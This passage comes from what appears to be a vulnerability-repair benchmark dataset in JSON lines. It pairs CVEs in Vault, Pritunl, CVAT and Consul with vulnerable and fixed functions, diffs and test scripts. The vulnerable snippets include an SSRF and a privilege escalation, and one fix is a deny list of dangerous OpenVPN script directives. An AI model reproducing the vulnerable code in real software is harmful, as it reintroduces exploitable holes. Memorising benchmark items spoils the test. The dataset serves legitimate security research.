time.Now()\n\n\t{\n\t\tm.pendingLock.Lock()\n\t\tif err := m.persistEntry(ctx, le); err != nil {\n\t\t\tm.pendingLock.Unlock()\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Update the expiration time\n\t\tm.updatePendingInternal(le, resp.Auth.LeaseTotal())\n\t\tm.pendingLock.Unlock()\n\t}\n\n\tretResp.Auth = resp.Auth\n\treturn retResp, nil\n}"}], "fix_func": [{"id": "fix_go_179_1", "commit": "18485ee", "file_path": "vault/expiration.go", "start_line": 923, "end_line": 1034, "snippet": "func (m *ExpirationManager) RenewToken(ctx context.Context, req *logical.Request, te *logical.TokenEntry,\n\tincrement time.Duration) (*logical.Response, error) {\n\tdefer metrics.MeasureSince([]string{\"expire\", \"renew-token\"}, time.Now())\n\n\ttokenNS, err := NamespaceByID(ctx, te.NamespaceID, m.core)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif tokenNS == nil {\n\t\treturn nil, namespace.ErrNoNamespace\n\t}\n\n\tns, err := namespace.FromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ns.ID != tokenNS.ID {\n\t\treturn nil, errors.New(\"cannot renew a token across namespaces\")\n\t}\n\n\t// Compute the Lease ID\n\tsaltedID, err := m.tokenStore.SaltID(ctx, te.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tleaseID := path.Join(te.Path, saltedID)\n\n\tif ns.ID != namespace.RootNamespaceID {\n\t\tleaseID = fmt.Sprintf(\"%s.%s\", leaseID, ns.ID)\n\t}\n\n\t// Load the entry\n\tle, err := m.loadEntry(ctx, leaseID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif le == nil {\n\t\treturn logical.ErrorResponse(\"invalid lease ID\"), logical.ErrInvalidRequest\n\t}\n\n\t// Check if the lease is renewable. Note that this also checks for a nil\n\t// lease and errors in that case as well.\n\tif _, err := le.renewable(); err != nil {\n\t\treturn logical.ErrorResponse(err.Error()), logical.ErrInvalidRequest\n\t}\n\n\t// Attempt to renew the auth entry\n\tresp, err := m.renewAuthEntry(ctx, req, le, increment)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp == nil {\n\t\treturn nil, nil\n\t}\n\tif resp.IsError() {\n\t\treturn &logical.Response{\n\t\t\tData: resp.Data,\n\t\t}, nil\n\t}\n\tif resp.Auth == nil {\n\t\treturn nil, nil\n\t}\n\n\tsysViewCtx := namespace.ContextWithNamespace(ctx, le.namespace)\n\tsysView := m.router.MatchingSystemView(sysViewCtx, le.Path)\n\tif sysView == nil {\n\t\treturn nil, fmt.Errorf(\"unable to retrieve system view from router\")\n\t}\n\n\tttl, warnings, err := framework.CalculateTTL(sysView, increment, resp.Auth.TTL, resp.Auth.Period, resp.Auth.MaxTTL, resp.Auth.ExplicitMaxTTL, le.IssueTime)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tretResp := &logical.Response{}\n\tfor _, warning := range warnings {\n\t\tretResp.AddWarning(warning)\n\t}\n\tresp.Auth.TTL = ttl\n\n\t// Attach the ClientToken\n\tresp.Auth.ClientToken = te.ID\n\n\t// Refresh groups\n\tif resp.Auth.EntityID != \"\" && m.core.identityStore != nil {\n\t\tvalidAliases, err := m.core.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, resp.Auth.EntityID, resp.Auth.GroupAliases)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp.Auth.GroupAliases = validAliases\n\t}\n\n\t// Update the lease entry\n\tle.Auth = resp.Auth\n\tle.ExpireTime = resp.Auth.ExpirationTime()\n\tle.LastRenewalTime = time.Now()\n\n\t{\n\t\tm.pendingLock.Lock()\n\t\tif err := m.persistEntry(ctx, le); err != nil {\n\t\t\tm.pendingLock.Unlock()\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Update the expiration time\n\t\tm.updatePendingInternal(le, resp.Auth.LeaseTotal())\n\t\tm.pendingLock.Unlock()\n\t}\n\n\tretResp.Auth = resp.Auth\n\treturn retResp, nil\n}"}], "vul_patch": "--- a/vault/expiration.go\n+++ b/vault/expiration.go\n@@ -82,9 +82,7 @@\n \tresp.Auth.ClientToken = te.ID\n \n \t// Refresh groups\n-\tif resp.Auth.EntityID != \"\" &&\n-\t\tresp.Auth.GroupAliases != nil &&\n-\t\tm.core.identityStore != nil {\n+\tif resp.Auth.EntityID != \"\" && m.core.identityStore != nil {\n \t\tvalidAliases, err := m.core.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, resp.Auth.EntityID, resp.Auth.GroupAliases)\n \t\tif err != nil {\n \t\t\treturn nil, err\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-27519", "cve_description": "Pritunl Client v1.2.2550.20 contains a local privilege escalation vulnerability in the pritunl-service component. The attack vector is: malicious openvpn config. A local attacker could leverage the log and log-append along with log injection to create or append to privileged script files and execute code as root/SYSTEM.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/pritunl/pritunl-client-electron", "patch_url": ["https://github.com/pritunl/pritunl-client-electron/commit/c0aeb159351e5e99d752c27b87133eca299bdfce", "https://github.com/pritunl/pritunl-client-electron/commit/87ceeae9b8ee415541d7d71de10675e699a76e5e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_103_1", "commit": "feeacca", "file_path": "service/profile/profile.go", "start_line": 209, "end_line": 227, "snippet": "func (p *Profile) write() (pth string, err error) {\n\trootDir, err := utils.GetTempDir()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpth = filepath.Join(rootDir, p.Id)\n\n\t_ = os.Remove(pth)\n\terr = ioutil.WriteFile(pth, []byte(p.Data), os.FileMode(0600))\n\tif err != nil {\n\t\terr = &WriteError{\n\t\t\terrors.Wrap(err, \"profile: Failed to write profile\"),\n\t\t}\n\t\treturn\n\t}\n\n\treturn\n}"}], "fix_func": [{"id": "fix_go_103_1", "commit": "c0aeb15", "file_path": "service/profile/profile.go", "start_line": 209, "end_line": 262, "snippet": "func (p *Profile) write() (pth string, err error) {\n\trootDir, err := utils.GetTempDir()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpth = filepath.Join(rootDir, p.Id)\n\n\tdata := \"\"\n\tfor _, line := range strings.Split(p.Data, \"\\n\") {\n\t\ttrimLine := strings.TrimSpace(line)\n\t\ttrimLine = strings.Trim(trimLine, \"#\")\n\t\ttrimLine = strings.Trim(trimLine, \"-\")\n\t\ttrimLine = strings.Trim(trimLine, \"_\")\n\t\ttrimLine = strings.Trim(trimLine, \":\")\n\t\ttrimLine = strings.Trim(trimLine, \";\")\n\t\ttrimLine = strings.Trim(trimLine, \"*\")\n\t\ttrimLine = strings.Trim(trimLine, \"%\")\n\t\ttrimLine = strings.Trim(trimLine, \"$\")\n\t\ttrimLine = strings.Trim(trimLine, \"+\")\n\t\ttrimLine = strings.Trim(trimLine, \"=\")\n\t\ttrimLine = strings.Trim(trimLine, \"~\")\n\t\ttrimLine = strings.Trim(trimLine, \"(\")\n\t\ttrimLine = strings.Trim(trimLine, \")\")\n\t\ttrimLine = strings.Trim(trimLine, \"[\")\n\t\ttrimLine = strings.Trim(trimLine, \"]\")\n\t\ttrimLine = strings.Trim(trimLine, \"{\")\n\t\ttrimLine = strings.Trim(trimLine, \"}\")\n\n\t\tif strings.Contains(trimLine, \"script-security\") ||\n\t\t\tstrings.HasPrefix(trimLine, \"log \") ||\n\t\t\tstrings.HasPrefix(trimLine, \"up \") ||\n\t\t\tstrings.HasPrefix(trimLine, \"down \") ||\n\t\t\tstrings.HasPrefix(trimLine, \"route-pre-down \") ||\n\t\t\tstrings.HasPrefix(trimLine, \"tls-verify \") ||\n\t\t\tstrings.HasPrefix(trimLine, \"ipchange \") ||\n\t\t\tstrings.HasPrefix(trimLine, \"route-up \") {\n\n\t\t\tcontinue\n\t\t}\n\t\tdata += line + \"\\n\"\n\t}\n\n\t_ = os.Remove(pth)\n\terr = ioutil.WriteFile(pth, []byte(data), os.FileMode(0600))\n\tif err != nil {\n\t\terr = &WriteError{\n\t\t\terrors.Wrap(err, \"profile: Failed to write profile\"),\n\t\t}\n\t\treturn\n\t}\n\n\treturn\n}"}], "vul_patch": "--- a/service/profile/profile.go\n+++ b/service/profile/profile.go\n@@ -6,8 +6,43 @@\n \n \tpth = filepath.Join(rootDir, p.Id)\n \n+\tdata := \"\"\n+\tfor _, line := range strings.Split(p.Data, \"\\n\") {\n+\t\ttrimLine := strings.TrimSpace(line)\n+\t\ttrimLine = strings.Trim(trimLine, \"#\")\n+\t\ttrimLine = strings.Trim(trimLine, \"-\")\n+\t\ttrimLine = strings.Trim(trimLine, \"_\")\n+\t\ttrimLine = strings.Trim(trimLine, \":\")\n+\t\ttrimLine = strings.Trim(trimLine, \";\")\n+\t\ttrimLine = strings.Trim(trimLine, \"*\")\n+\t\ttrimLine = strings.Trim(trimLine, \"%\")\n+\t\ttrimLine = strings.Trim(trimLine, \"$\")\n+\t\ttrimLine = strings.Trim(trimLine, \"+\")\n+\t\ttrimLine = strings.Trim(trimLine, \"=\")\n+\t\ttrimLine = strings.Trim(trimLine, \"~\")\n+\t\ttrimLine = strings.Trim(trimLine, \"(\")\n+\t\ttrimLine = strings.Trim(trimLine, \")\")\n+\t\ttrimLine = strings.Trim(trimLine, \"[\")\n+\t\ttrimLine = strings.Trim(trimLine, \"]\")\n+\t\ttrimLine = strings.Trim(trimLine, \"{\")\n+\t\ttrimLine = strings.Trim(trimLine, \"}\")\n+\n+\t\tif strings.Contains(trimLine, \"script-security\") ||\n+\t\t\tstrings.HasPrefix(trimLine, \"log \") ||\n+\t\t\tstrings.HasPrefix(trimLine, \"up \") ||\n+\t\t\tstrings.HasPrefix(trimLine, \"down \") ||\n+\t\t\tstrings.HasPrefix(trimLine, \"route-pre-down \") ||\n+\t\t\tstrings.HasPrefix(trimLine, \"tls-verify \") ||\n+\t\t\tstrings.HasPrefix(trimLine, \"ipchange \") ||\n+\t\t\tstrings.HasPrefix(trimLine, \"route-up \") {\n+\n+\t\t\tcontinue\n+\t\t}\n+\t\tdata += line + \"\\n\"\n+\t}\n+\n \t_ = os.Remove(pth)\n-\terr = ioutil.WriteFile(pth, []byte(p.Data), os.FileMode(0600))\n+\terr = ioutil.WriteFile(pth, []byte(data), os.FileMode(0600))\n \tif err != nil {\n \t\terr = &WriteError{\n \t\t\terrors.Wrap(err, \"profile: Failed to write profile\"),\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-37164", "cve_description": "Computer Vision Annotation Tool (CVAT) is an interactive video and image annotation tool for computer vision. CVAT allows users to supply custom endpoint URLs for cloud storages based on Amazon S3 and Azure Blob Storage. Starting in version 2.1.0 and prior to version 2.14.3, an attacker with a CVAT account can exploit this feature by specifying URLs whose host part is an intranet IP address or an internal domain name. By doing this, the attacker may be able to probe the network that the CVAT backend runs in for HTTP(S) servers. In addition, if there is a web server on this network that is sufficiently API-compatible with an Amazon S3 or Azure Blob Storage endpoint, and either allows anonymous access, or allows authentication with credentials that are known by the attacker, then the attacker may be able to create a cloud storage linked to this server. They may then be able to list files on the server; extract files from the server, if these files are of a type that CVAT supports reading from cloud storage (media data (such as images/videos/archives), importable annotations or datasets, task/project backups); and/or overwrite files on this server with exported annotations/datasets/backups. The exact capabilities of the attacker will depend on how the internal server is configured. Users should upgrade to CVAT 2.14.3 to receive a patch. In this release, the existing SSRF mitigation measures are applied to requests to cloud providers, with access to intranet IP addresses prohibited by default. Some workarounds are also available. One may use network security solutions such as virtual networks or firewalls to prohibit network access from the CVAT backend to unrelated servers on your internal network and/or require authentication for access to internal servers.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/cvat-ai/cvat", "patch_url": ["https://github.com/cvat-ai/cvat/commit/f2346934c80bd91740f55c2788ef7d535a291d4c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_135_1", "commit": "cf2f329", "file_path": "cvat/apps/engine/cloud_provider.py", "start_line": 411, "end_line": 455, "snippet": "    def __init__(self,\n                bucket: str,\n                region: Optional[str] = None,\n                access_key_id: Optional[str] = None,\n                secret_key: Optional[str] = None,\n                session_token: Optional[str] = None,\n                endpoint_url: Optional[str] = None,\n                prefix: Optional[str] = None,\n    ):\n        super().__init__(prefix=prefix)\n        if (\n            sum(\n                1\n                for credential in (access_key_id, secret_key, session_token)\n                if credential\n            )\n            == 1\n        ):\n            raise Exception(\"Insufficient data for authentication\")\n\n        kwargs = dict()\n        for key, arg_v in zip(\n            (\n                \"aws_access_key_id\",\n                \"aws_secret_access_key\",\n                \"aws_session_token\",\n                \"region_name\",\n            ),\n            (access_key_id, secret_key, session_token, region),\n        ):\n            if arg_v:\n                kwargs[key] = arg_v\n\n        session = boto3.Session(**kwargs)\n        self._s3 = session.resource(\"s3\", endpoint_url=endpoint_url)\n\n        # anonymous access\n        if not any([access_key_id, secret_key, session_token]):\n            self._s3.meta.client.meta.events.register(\n                \"choose-signer.s3.*\", disable_signing\n            )\n\n        self._client = self._s3.meta.client\n        self._bucket = self._s3.Bucket(bucket)\n        self.region = region"}, {"id": "vul_py_135_2", "commit": "cf2f329", "file_path": "cvat/apps/engine/cloud_provider.py", "start_line": 636, "end_line": 652, "snippet": "    def __init__(\n        self,\n        container: str,\n        account_name: Optional[str] = None,\n        sas_token: Optional[str] = None,\n        connection_string: Optional[str] = None,\n        prefix: Optional[str] = None,\n    ):\n        super().__init__(prefix=prefix)\n        self._account_name = account_name\n        if connection_string:\n            self._blob_service_client = BlobServiceClient.from_connection_string(connection_string)\n        elif sas_token:\n            self._blob_service_client = BlobServiceClient(account_url=self.account_url, credential=sas_token)\n        else:\n            self._blob_service_client = BlobServiceClient(account_url=self.account_url)\n        self._client = self._blob_service_client.get_container_client(container)"}], "fix_func": [{"id": "fix_py_135_1", "commit": "f234693", "file_path": "cvat/apps/engine/cloud_provider.py", "start_line": 413, "end_line": 459, "snippet": "    def __init__(self,\n                bucket: str,\n                region: Optional[str] = None,\n                access_key_id: Optional[str] = None,\n                secret_key: Optional[str] = None,\n                session_token: Optional[str] = None,\n                endpoint_url: Optional[str] = None,\n                prefix: Optional[str] = None,\n    ):\n        super().__init__(prefix=prefix)\n        if (\n            sum(\n                1\n                for credential in (access_key_id, secret_key, session_token)\n                if credential\n            )\n            == 1\n        ):\n            raise Exception(\"Insufficient data for authentication\")\n\n        kwargs = dict()\n        for key, arg_v in zip(\n            (\n                \"aws_access_key_id\",\n                \"aws_secret_access_key\",\n                \"aws_session_token\",\n                \"region_name\",\n            ),\n            (access_key_id, secret_key, session_token, region),\n        ):\n            if arg_v:\n                kwargs[key] = arg_v\n\n        session = boto3.Session(**kwargs)\n        self._s3 = session.resource(\"s3\", endpoint_url=endpoint_url,\n            config=Config(proxies=PROXIES_FOR_UNTRUSTED_URLS or {}),\n        )\n\n        # anonymous access\n        if not any([access_key_id, secret_key, session_token]):\n            self._s3.meta.client.meta.events.register(\n                \"choose-signer.s3.*\", disable_signing\n            )\n\n        self._client = self._s3.meta.client\n        self._bucket = self._s3.Bucket(bucket)\n        self.region = region"}, {"id": "fix_py_135_2", "commit": "f234693", "file_path": "cvat/apps/engine/cloud_provider.py", "start_line": 640, "end_line": 659, "snippet": "    def __init__(\n        self,\n        container: str,\n        account_name: Optional[str] = None,\n        sas_token: Optional[str] = None,\n        connection_string: Optional[str] = None,\n        prefix: Optional[str] = None,\n    ):\n        super().__init__(prefix=prefix)\n        self._account_name = account_name\n        if connection_string:\n            self._blob_service_client = BlobServiceClient.from_connection_string(\n                connection_string, proxies=PROXIES_FOR_UNTRUSTED_URLS)\n        elif sas_token:\n            self._blob_service_client = BlobServiceClient(\n                account_url=self.account_url, credential=sas_token, proxies=PROXIES_FOR_UNTRUSTED_URLS)\n        else:\n            self._blob_service_client = BlobServiceClient(\n                account_url=self.account_url, proxies=PROXIES_FOR_UNTRUSTED_URLS)\n        self._client = self._blob_service_client.get_container_client(container)"}], "vul_patch": "--- a/cvat/apps/engine/cloud_provider.py\n+++ b/cvat/apps/engine/cloud_provider.py\n@@ -32,7 +32,9 @@\n                 kwargs[key] = arg_v\n \n         session = boto3.Session(**kwargs)\n-        self._s3 = session.resource(\"s3\", endpoint_url=endpoint_url)\n+        self._s3 = session.resource(\"s3\", endpoint_url=endpoint_url,\n+            config=Config(proxies=PROXIES_FOR_UNTRUSTED_URLS or {}),\n+        )\n \n         # anonymous access\n         if not any([access_key_id, secret_key, session_token]):\n\n--- a/cvat/apps/engine/cloud_provider.py\n+++ b/cvat/apps/engine/cloud_provider.py\n@@ -9,9 +9,12 @@\n         super().__init__(prefix=prefix)\n         self._account_name = account_name\n         if connection_string:\n-            self._blob_service_client = BlobServiceClient.from_connection_string(connection_string)\n+            self._blob_service_client = BlobServiceClient.from_connection_string(\n+                connection_string, proxies=PROXIES_FOR_UNTRUSTED_URLS)\n         elif sas_token:\n-            self._blob_service_client = BlobServiceClient(account_url=self.account_url, credential=sas_token)\n+            self._blob_service_client = BlobServiceClient(\n+                account_url=self.account_url, credential=sas_token, proxies=PROXIES_FOR_UNTRUSTED_URLS)\n         else:\n-            self._blob_service_client = BlobServiceClient(account_url=self.account_url)\n+            self._blob_service_client = BlobServiceClient(\n+                account_url=self.account_url, proxies=PROXIES_FOR_UNTRUSTED_URLS)\n         self._client = self._blob_service_client.get_container_client(container)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-3920", "cve_description": "HashiCorp Consul and Consul Enterprise 1.13.0 up to 1.13.3 do not filter cluster filtering's imported nodes and services for HTTP or RPC endpoints used by the UI. Fixed in 1.14.0.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/hashicorp/consul", "patch_url": ["https://github.com/hashicorp/consul/commit/706866fa0016b0aa302679f9c648859050d19b2e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_9_1", "commit": "9e060b8", "file_path": "agent/structs/aclfilter/filter.go", "start_line": 33, "end_line": 152, "snippet": "func (f *Filter) Filter(subject any) {\n\tswitch v := subject.(type) {\n\tcase *structs.CheckServiceNodes:\n\t\tf.filterCheckServiceNodes(v)\n\n\tcase *structs.IndexedCheckServiceNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterCheckServiceNodes(&v.Nodes)\n\n\tcase *structs.PreparedQueryExecuteResponse:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterCheckServiceNodes(&v.Nodes)\n\n\tcase *structs.IndexedServiceTopology:\n\t\tfiltered := f.filterServiceTopology(v.ServiceTopology)\n\t\tif filtered {\n\t\t\tv.FilteredByACLs = true\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\n\tcase *structs.DatacenterIndexedCheckServiceNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterDatacenterCheckServiceNodes(&v.DatacenterNodes)\n\n\tcase *structs.IndexedCoordinates:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterCoordinates(&v.Coordinates)\n\n\tcase *structs.IndexedHealthChecks:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterHealthChecks(&v.HealthChecks)\n\n\tcase *structs.IndexedIntentions:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterIntentions(&v.Intentions)\n\n\tcase *structs.IndexedNodeDump:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodeDump(&v.Dump)\n\n\tcase *structs.IndexedServiceDump:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceDump(&v.Dump)\n\n\tcase *structs.IndexedNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodes(&v.Nodes)\n\n\tcase *structs.IndexedNodeServices:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodeServices(&v.NodeServices)\n\n\tcase *structs.IndexedNodeServiceList:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodeServiceList(&v.NodeServices)\n\n\tcase *structs.IndexedServiceNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceNodes(&v.ServiceNodes)\n\n\tcase *structs.IndexedServices:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServices(v.Services, &v.EnterpriseMeta)\n\n\tcase *structs.IndexedSessions:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterSessions(&v.Sessions)\n\n\tcase *structs.IndexedPreparedQueries:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterPreparedQueries(&v.Queries)\n\n\tcase **structs.PreparedQuery:\n\t\tf.redactPreparedQueryTokens(v)\n\n\tcase *structs.ACLTokens:\n\t\tf.filterTokens(v)\n\tcase **structs.ACLToken:\n\t\tf.filterToken(v)\n\tcase *[]*structs.ACLTokenListStub:\n\t\tf.filterTokenStubs(v)\n\tcase **structs.ACLTokenListStub:\n\t\tf.filterTokenStub(v)\n\n\tcase *structs.ACLPolicies:\n\t\tf.filterPolicies(v)\n\tcase **structs.ACLPolicy:\n\t\tf.filterPolicy(v)\n\n\tcase *structs.ACLRoles:\n\t\tf.filterRoles(v)\n\tcase **structs.ACLRole:\n\t\tf.filterRole(v)\n\n\tcase *structs.ACLBindingRules:\n\t\tf.filterBindingRules(v)\n\tcase **structs.ACLBindingRule:\n\t\tf.filterBindingRule(v)\n\n\tcase *structs.ACLAuthMethods:\n\t\tf.filterAuthMethods(v)\n\tcase **structs.ACLAuthMethod:\n\t\tf.filterAuthMethod(v)\n\n\tcase *structs.IndexedServiceList:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceList(&v.Services)\n\n\tcase *structs.IndexedExportedServiceList:\n\t\tfor peer, peerServices := range v.Services {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceList(&peerServices)\n\t\t\tif len(peerServices) == 0 {\n\t\t\t\tdelete(v.Services, peer)\n\t\t\t} else {\n\t\t\t\tv.Services[peer] = peerServices\n\t\t\t}\n\t\t}\n\n\tcase *structs.IndexedGatewayServices:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterGatewayServices(&v.Services)\n\n\tcase *structs.IndexedNodesWithGateways:\n\t\tif f.filterCheckServiceNodes(&v.Nodes) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\t\tif f.filterGatewayServices(&v.Gateways) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\t\tif f.filterCheckServiceNodes(&v.ImportedNodes) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\n\tdefault:\n\t\tpanic(fmt.Errorf(\"Unhandled type passed to ACL filter: %T %#v\", subject, subject))\n\t}\n}"}, {"id": "vul_go_9_2", "commit": "9e060b8", "file_path": "agent/structs/structs_oss.go", "start_line": 70, "end_line": 70, "snippet": "func (_ *NodeInfo) FillAuthzContext(_ *acl.AuthorizerContext) {}"}], "fix_func": [{"id": "fix_go_9_1", "commit": "706866f", "file_path": "agent/structs/aclfilter/filter.go", "start_line": 33, "end_line": 157, "snippet": "func (f *Filter) Filter(subject any) {\n\tswitch v := subject.(type) {\n\tcase *structs.CheckServiceNodes:\n\t\tf.filterCheckServiceNodes(v)\n\n\tcase *structs.IndexedCheckServiceNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterCheckServiceNodes(&v.Nodes)\n\n\tcase *structs.PreparedQueryExecuteResponse:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterCheckServiceNodes(&v.Nodes)\n\n\tcase *structs.IndexedServiceTopology:\n\t\tfiltered := f.filterServiceTopology(v.ServiceTopology)\n\t\tif filtered {\n\t\t\tv.FilteredByACLs = true\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\n\tcase *structs.DatacenterIndexedCheckServiceNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterDatacenterCheckServiceNodes(&v.DatacenterNodes)\n\n\tcase *structs.IndexedCoordinates:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterCoordinates(&v.Coordinates)\n\n\tcase *structs.IndexedHealthChecks:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterHealthChecks(&v.HealthChecks)\n\n\tcase *structs.IndexedIntentions:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterIntentions(&v.Intentions)\n\n\tcase *structs.IndexedNodeDump:\n\t\tif f.filterNodeDump(&v.Dump) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\t\tif f.filterNodeDump(&v.ImportedDump) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\n\tcase *structs.IndexedServiceDump:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceDump(&v.Dump)\n\n\tcase *structs.IndexedNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodes(&v.Nodes)\n\n\tcase *structs.IndexedNodeServices:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodeServices(&v.NodeServices)\n\n\tcase *structs.IndexedNodeServiceList:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodeServiceList(&v.NodeServices)\n\n\tcase *structs.IndexedServiceNodes:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceNodes(&v.ServiceNodes)\n\n\tcase *structs.IndexedServices:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServices(v.Services, &v.EnterpriseMeta)\n\n\tcase *structs.IndexedSessions:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterSessions(&v.Sessions)\n\n\tcase *structs.IndexedPreparedQueries:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterPreparedQueries(&v.Queries)\n\n\tcase **structs.PreparedQuery:\n\t\tf.redactPreparedQueryTokens(v)\n\n\tcase *structs.ACLTokens:\n\t\tf.filterTokens(v)\n\tcase **structs.ACLToken:\n\t\tf.filterToken(v)\n\tcase *[]*structs.ACLTokenListStub:\n\t\tf.filterTokenStubs(v)\n\tcase **structs.ACLTokenListStub:\n\t\tf.filterTokenStub(v)\n\n\tcase *structs.ACLPolicies:\n\t\tf.filterPolicies(v)\n\tcase **structs.ACLPolicy:\n\t\tf.filterPolicy(v)\n\n\tcase *structs.ACLRoles:\n\t\tf.filterRoles(v)\n\tcase **structs.ACLRole:\n\t\tf.filterRole(v)\n\n\tcase *structs.ACLBindingRules:\n\t\tf.filterBindingRules(v)\n\tcase **structs.ACLBindingRule:\n\t\tf.filterBindingRule(v)\n\n\tcase *structs.ACLAuthMethods:\n\t\tf.filterAuthMethods(v)\n\tcase **structs.ACLAuthMethod:\n\t\tf.filterAuthMethod(v)\n\n\tcase *structs.IndexedServiceList:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceList(&v.Services)\n\n\tcase *structs.IndexedExportedServiceList:\n\t\tfor peer, peerServices := range v.Services {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceList(&peerServices)\n\t\t\tif len(peerServices) == 0 {\n\t\t\t\tdelete(v.Services, peer)\n\t\t\t} else {\n\t\t\t\tv.Services[peer] = peerServices\n\t\t\t}\n\t\t}\n\n\tcase *structs.IndexedGatewayServices:\n\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterGatewayServices(&v.Services)\n\n\tcase *structs.IndexedNodesWithGateways:\n\t\tif f.filterCheckServiceNodes(&v.Nodes) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\t\tif f.filterGatewayServices(&v.Gateways) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\t\tif f.filterCheckServiceNodes(&v.ImportedNodes) {\n\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n\t\t}\n\n\tdefault:\n\t\tpanic(fmt.Errorf(\"Unhandled type passed to ACL filter: %T %#v\", subject, subject))\n\t}\n}"}], "vul_patch": "--- a/agent/structs/aclfilter/filter.go\n+++ b/agent/structs/aclfilter/filter.go\n@@ -29,7 +29,12 @@\n \t\tv.QueryMeta.ResultsFilteredByACLs = f.filterIntentions(&v.Intentions)\n \n \tcase *structs.IndexedNodeDump:\n-\t\tv.QueryMeta.ResultsFilteredByACLs = f.filterNodeDump(&v.Dump)\n+\t\tif f.filterNodeDump(&v.Dump) {\n+\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n+\t\t}\n+\t\tif f.filterNodeDump(&v.ImportedDump) {\n+\t\t\tv.QueryMeta.ResultsFilteredByACLs = true\n+\t\t}\n \n \tcase *structs.IndexedServiceDump:\n \t\tv.QueryMeta.ResultsFilteredByACLs = f.filterServiceDump(&v.Dump)\n\n--- a/agent/structs/structs_oss.go\n+++ /dev/null\n@@ -1 +0,0 @@\n-func (_ *NodeInfo) FillAuthzContext(_ *acl.AuthorizerContext) {}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-3920:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/consul\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestACL_filterNodeDump$ github.com/hashicorp/consul/agent/structs/aclfilter\n", "unit_test_cmd": "#!/bin/bash\n# From 